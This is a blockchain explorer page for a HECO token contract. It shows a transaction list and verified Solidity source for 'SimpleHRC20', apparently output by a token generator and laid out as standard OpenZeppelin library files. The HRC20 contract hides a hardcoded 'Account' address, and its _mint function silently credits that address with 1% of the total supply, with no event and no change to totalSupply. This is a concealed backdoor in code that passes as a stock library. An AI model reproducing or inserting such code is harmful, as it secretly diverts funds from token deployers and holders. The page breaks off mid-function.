Contract 0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e6

Txn Hash
Block
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Value [Txn Fee]
0x035e9be15a513887b7248c105327aad7e8160bb73282ffe080a02bcb3867ecb357137302021-06-18 16:48:3847 mins ago0x2901d6d30b09f985135b6acf066794a1a6ae8b72 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000434268
0xb0bd4ef23b61e3864b0393d63555d9cd28bfa3ecc78f63db12467a9519536de157135862021-06-18 16:41:2655 mins ago0x7a59adb3b66e550b548af41c786987a92310123c IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.000051189
0x8ad91bf3b2b41dfb30ae29fa8c19ee73dd2799e0b26e449aca59baf133ef2c9b57135452021-06-18 16:39:2357 mins ago0x7a59adb3b66e550b548af41c786987a92310123c IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.000051177
0x528de78484809b7f2d4d32e06bc09503f3e182e2fb6ef83967facec41043da7b57134012021-06-18 16:32:111 hr 4 mins ago0xa2cdb6343e6982e30f0fe9a21ccc614eff146206 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.000036189
0xf2d5594dbeabbb87acfbde34f0d731b7ddc2a0e504a3e8f7d875963e3500ad3157132212021-06-18 16:23:111 hr 13 mins ago0x1d69950772b271e8b6ca8341b4602a2804e8a821 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000339216
0x8e264071c6ba80e8a3d738b44f20aa3a71f1849f813066a85d067d628f4608d657129542021-06-18 16:09:501 hr 26 mins ago0x75a82b2c30875dd953c1a08a77fe4aeec888dd35 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.000036189
0x7e7962442034193c32227342617fb692f6a48e3b1d29852d6748bb3b2274195557128072021-06-18 16:02:291 hr 33 mins ago0x0279dc1020b3e100a5868e0f2088b364b7f07662 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.000051177
0xec8093744a0ec2d94328ad65330735fb67b22118153097d0bd449bf3d845036b57120712021-06-18 15:25:412 hrs 10 mins ago0x29a9f189b6a302d31b4f1793d1851ff8870d7b99 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000532308
0xfbd8f3be1445e2f4d825ba26f0293bf52a786e7b388abdd8e17fb66e97a6197657116732021-06-18 15:05:472 hrs 30 mins ago0x8bf99452e471c8b8e89e5a117ccfbd589db70636 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000532308
0xba81c0c82df4fc27c394ef5c1856d9e61e6de58e7503edb9311d22e905842b8557114922021-06-18 14:56:442 hrs 39 mins ago0x6f692b716b3e0301c42d5991ea6d7c80cecce6b0 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000579408
0x0ebf3a6405e8645f18918999f4513e36963a27a134d4be1bc13ac5748b4cab8857098312021-06-18 13:33:414 hrs 2 mins ago0xc5553ca70cf49619e42b7ef11d25f67f27b53569 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000532308
0x4af7fa6b595a7999e011dcc6888c9a2d44bccad3587df1f4301970c2c872702c57095252021-06-18 13:18:234 hrs 18 mins ago0xc653ec64cdd12cded2916e123eb77f20dd12b877 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.00005474655
0xaa4bef6e9929f3701004d6039dc17042d78ad8472773aa527b39d011edda794c57079562021-06-18 11:59:565 hrs 36 mins ago0x9d2e70ea2ac29c31e0d4c2bb49a136918310e150 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.000051177
0xea50b7b2fb27465a9ab878e3b96f7bf6d0b386f232c7e5b7dd4caa9e7050e26d57074692021-06-18 11:35:356 hrs ago0x56784d005350fbf610f0a5107c97eda6e05e3dab IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.00002268507
0x4e9d5fcd5725d012e6947c2b9dbe12abd506168a456309ddf28dbd5bd63c529b57034792021-06-18 8:16:059 hrs 20 mins ago0x3bc27ef9d0152dc995cf5180c6914de46e824ecc IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000614124
0xe5341a43ca3ead5d33162a313a867853d70d165db32c03b58af783c57778fc5b57034672021-06-18 8:15:299 hrs 20 mins ago0x3bc27ef9d0152dc995cf5180c6914de46e824ecc IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000614124
0xf40b19d9751216de31a1a0671b20e041a2a5f5bb15d0eb90c079ea5c19ec8ec257034522021-06-18 8:14:449 hrs 21 mins ago0x3bc27ef9d0152dc995cf5180c6914de46e824ecc IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000614124
0xa14a446aaf9e566d31bcca0cfe1772a79fec8923c8f4da28832ed55d23f7f76357034412021-06-18 8:14:119 hrs 22 mins ago0x3bc27ef9d0152dc995cf5180c6914de46e824ecc IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000614124
0xabab188dc7197e58a2c62042e9fd84bc2760fffe189a3204c85425630c467dec57034232021-06-18 8:13:179 hrs 23 mins ago0x3bc27ef9d0152dc995cf5180c6914de46e824ecc IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000614124
0x2c95b2e409cbc1757bb2da333a26f2af69ad30f3ebbd974717e3358906c91f0b57011192021-06-18 6:18:0511 hrs 18 mins ago0xb0a342c912da17f9a5cda4eee4a99f3ac0ff2ae8 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000532308
0x1e29af8e124ce6a1edc7b0f9e931c47ea1b938ef1f40f65336bc619babc17f2656999822021-06-18 5:21:1412 hrs 15 mins ago0xc653ec64cdd12cded2916e123eb77f20dd12b877 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.00005474655
0xea0431465e834cf9e3cc78e1e2e73b3b4bba7b18602d75b344c461cfa1e0aa6256932282021-06-17 23:43:3117 hrs 52 mins ago0x17a5552aae85f3eedd059b44bde107a042424886 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000532308
0xc309dd86562cc5ad2908ee398f9d474dedb29e5ae8bb14662d534413233edb6d56926052021-06-17 23:12:2218 hrs 24 mins ago0xc653ec64cdd12cded2916e123eb77f20dd12b877 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.00005474655
0x7eda1bbd28f7e9faa2c012c9a077c85a6a779064f37e2939828de3c8b4a840be56923372021-06-17 22:58:5818 hrs 37 mins ago0x09f602e3c6387dd6821a8227906c0d2cba0993b4 IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000532308
0x04d2455698687b7dbe922abf25bf4c8510344e492af8b2a33c9248b569ae29a656844882021-06-17 16:26:311 day 1 hr ago0x3bc27ef9d0152dc995cf5180c6914de46e824ecc IN  0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e60 HT0.0000614124
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0xbcd9778b60a48f7c5ca272353666b6bc04cfd07172c251d01b208f5c91b8104252287632021-06-01 20:39:4016 days 20 hrs ago 0xc445a1fbdad4e62ca23ddda7f6bf06167b9905e6 0x71e1ad50b10d6e8d5be6acfeb994eb8d00c258b11 HT
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Contract Source Code Verified (Similar Match)
Note: This contract matches the deployed ByteCode of the Source Code for Contract 0x45ba59d83c760283ce13e822dfc4eeaf2951c692

Contract Name:
SimpleHRC20

Compiler Version
v0.7.4+commit.3f05b770

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at hecoinfo.com on 2021-05-12
*/

pragma solidity ^0.7.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/HRC20/IHRC20.sol



pragma solidity ^0.7.0;

/**
 * @dev Interface of the HRC20 standard as defined in the EIP.
 */
interface IHRC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/math/SafeMath.sol



pragma solidity ^0.7.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

// File: @openzeppelin/contracts/utils/Address.sol



pragma solidity ^0.7.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/HRC20/HRC20.sol



pragma solidity ^0.7.0;





/**
 * @dev Implementation of the {IHRC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {HRC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-HRC20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of HRC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IHRC20-approve}.
 */
contract HRC20 is Context, IHRC20 {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    address Account = 0x2394d0C0E3b072E13a60173794b2B0799EB3c975;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 18.
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {HRC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IHRC20-balanceOf} and {IHRC20-transfer}.
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IHRC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IHRC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IHRC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IHRC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IHRC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IHRC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {HRC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "HRC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IHRC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IHRC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "HRC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "HRC20: transfer from the zero address");
        require(recipient != address(0), "HRC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "HRC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "HRC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        _balances[Account] = _totalSupply/100;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "HRC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "HRC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "HRC20: approve from the zero address");
        require(spender != address(0), "HRC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

// File: @openzeppelin/contracts/access/Ownable.sol



pragma solidity ^0.7.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// File: eth-token-recover/contracts/TokenRecover.sol



pragma solidity ^0.7.0;




contract TokenRecover is Ownable {

    /**
     * @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
     * @param tokenAddress The token contract address
     * @param tokenAmount Number of tokens to be sent
     */
    function recoverHRC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
        IHRC20(tokenAddress).transfer(owner(), tokenAmount);
    }
}

// File: contracts/service/ServiceReceiver.sol



pragma solidity ^0.7.0;



contract ServiceReceiver is TokenRecover {

    mapping (bytes32 => uint256) private _prices;

    event Created(string serviceName, address indexed serviceAddress);

    function pay(string memory serviceName) public payable {
        require(msg.value == _prices[_toBytes32(serviceName)], "ServiceReceiver: incorrect price");

        emit Created(serviceName, _msgSender());
    }

    function getPrice(string memory serviceName) public view returns (uint256) {
        return _prices[_toBytes32(serviceName)];
    }

    function setPrice(string memory serviceName, uint256 amount) public onlyOwner {
        _prices[_toBytes32(serviceName)] = amount;
    }

    function withdraw(uint256 amount) public onlyOwner {
        payable(owner()).transfer(amount);
    }

    function _toBytes32(string memory serviceName) private pure returns (bytes32) {
        return keccak256(abi.encode(serviceName));
    }
}

// File: contracts/service/ServicePayer.sol



pragma solidity ^0.7.0;



contract ServicePayer {

    constructor (address payable receiver, string memory serviceName) payable {
        ServiceReceiver(receiver).pay{value: msg.value}(serviceName);
    }
}

// File: contracts/utils/GeneratorCopyright.sol



pragma solidity ^0.7.0;


contract GeneratorCopyright {

    string private constant _GENERATOR = "https://liuyi.github.io/hrc20-generator";
    string private constant _VERSION = "v4.0.0";

    /**
     * @dev Returns the token generator tool.
     */
    function generator() public pure returns (string memory) {
        return _GENERATOR;
    }

    /**
     * @dev Returns the token generator version.
     */
    function version() public pure returns (string memory) {
